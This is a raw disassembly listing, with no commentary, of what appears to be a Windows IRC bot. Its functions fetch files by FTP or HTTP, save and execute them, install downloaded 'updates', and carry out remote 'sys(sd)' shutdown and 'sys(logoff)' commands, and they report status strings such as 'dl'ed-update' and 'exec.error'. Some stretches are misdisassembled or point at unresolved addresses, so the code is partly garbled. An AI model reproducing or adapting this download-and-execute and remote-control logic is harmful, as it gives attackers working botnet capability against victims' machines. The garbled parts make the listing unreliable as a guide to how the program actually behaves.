		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F70
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F70
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F70
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F70
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F70
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EF8 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F70
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+5Ch+var_40]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44791F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		push	1
		mov	byte_4E6E84, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FFC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28A0484h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		call	near ptr 28A0484h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A0484h


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
